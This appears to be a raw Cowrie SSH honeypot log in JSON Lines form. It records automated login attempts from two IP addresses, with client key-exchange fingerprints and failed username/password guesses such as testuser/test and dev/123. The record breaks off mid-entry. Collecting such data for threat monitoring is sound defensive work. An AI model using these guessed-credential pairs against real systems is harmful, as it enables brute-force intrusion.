{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:51.780653Z","src_ip":"192.109.200.78","session":"9ed52ebc141a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:52.029217Z","src_ip":"192.109.200.78","session":"9ed52ebc141a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:53.112365Z","src_ip":"192.109.200.78","session":"9ed52ebc141a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50732,"dst_ip":"10.17.0.5","dst_port":22,"session":"8abe8ed3496e","protocol":"ssh","message":"New connection: 192.109.200.78:50732 (10.17.0.5:22) [session: 8abe8ed3496e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:55.352850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:55.354451Z","src_ip":"192.109.200.78","session":"8abe8ed3496e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:55.434058Z","src_ip":"192.109.200.78","session":"8abe8ed3496e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:55.677760Z","src_ip":"192.109.200.78","session":"8abe8ed3496e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:56.761828Z","src_ip":"192.109.200.78","session":"8abe8ed3496e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50742,"dst_ip":"10.17.0.5","dst_port":22,"session":"db379dd3a566","protocol":"ssh","message":"New connection: 192.109.200.78:50742 (10.17.0.5:22) [session: db379dd3a566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:58.796744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:58.800829Z","src_ip":"192.109.200.78","session":"db379dd3a566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:58.881124Z","src_ip":"192.109.200.78","session":"db379dd3a566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:37:59.126931Z","src_ip":"192.109.200.78","session":"db379dd3a566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:00.212821Z","src_ip":"192.109.200.78","session":"db379dd3a566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57830,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f103070c7f5","protocol":"ssh","message":"New connection: 192.109.200.78:57830 (10.17.0.5:22) [session: 5f103070c7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:02.195955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:02.200380Z","src_ip":"192.109.200.78","session":"5f103070c7f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:02.282361Z","src_ip":"192.109.200.78","session":"5f103070c7f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:02.530146Z","src_ip":"192.109.200.78","session":"5f103070c7f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:03.616685Z","src_ip":"192.109.200.78","session":"5f103070c7f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57840,"dst_ip":"10.17.0.5","dst_port":22,"session":"991e6aa5cdc8","protocol":"ssh","message":"New connection: 192.109.200.78:57840 (10.17.0.5:22) [session: 991e6aa5cdc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:05.725515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:05.853985Z","src_ip":"192.109.200.78","session":"991e6aa5cdc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:05.857666Z","src_ip":"192.109.200.78","session":"991e6aa5cdc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123","message":"login attempt [dev/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:06.186201Z","src_ip":"192.109.200.78","session":"991e6aa5cdc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:07.270374Z","src_ip":"192.109.200.78","session":"991e6aa5cdc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":44970,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5b62bd095a5","protocol":"ssh","message":"New connection: 92.207.4.157:44970 (159.203.135.109:22) [session: d5b62bd095a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:08.343794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:08.347879Z","src_ip":"92.207.4.157","session":"d5b62bd095a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:08.441696Z","src_ip":"92.207.4.157","session":"d5b62bd095a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"simon","password":"simon","message":"login attempt [simon/simon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:08.854757Z","src_ip":"92.207.4.157","session":"d5b62bd095a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57844,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8d8b6f8c492","protocol":"ssh","message":"New connection: 192.109.200.78:57844 (10.17.0.5:22) [session: c8d8b6f8c492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:09.312255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:09.316569Z","src_ip":"192.109.200.78","session":"c8d8b6f8c492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:09.396969Z","src_ip":"192.109.200.78","session":"c8d8b6f8c492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frank","password":"frank","message":"login attempt [frank/frank] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:09.640940Z","src_ip":"192.109.200.78","session":"c8d8b6f8c492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:09.950313Z","src_ip":"92.207.4.157","session":"d5b62bd095a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:10.723738Z","src_ip":"192.109.200.78","session":"c8d8b6f8c492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39284,"dst_ip":"10.17.0.5","dst_port":22,"session":"edfe636650e5","protocol":"ssh","message":"New connection: 192.109.200.78:39284 (10.17.0.5:22) [session: edfe636650e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:12.700006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:12.704439Z","src_ip":"192.109.200.78","session":"edfe636650e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:12.785632Z","src_ip":"192.109.200.78","session":"edfe636650e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:13.030632Z","src_ip":"192.109.200.78","session":"edfe636650e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:14.113978Z","src_ip":"192.109.200.78","session":"edfe636650e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39288,"dst_ip":"10.17.0.5","dst_port":22,"session":"23e83570c83c","protocol":"ssh","message":"New connection: 192.109.200.78:39288 (10.17.0.5:22) [session: 23e83570c83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:16.144751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:38:16.317047Z","src_ip":"192.109.200.78","session":"23e83570c83c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 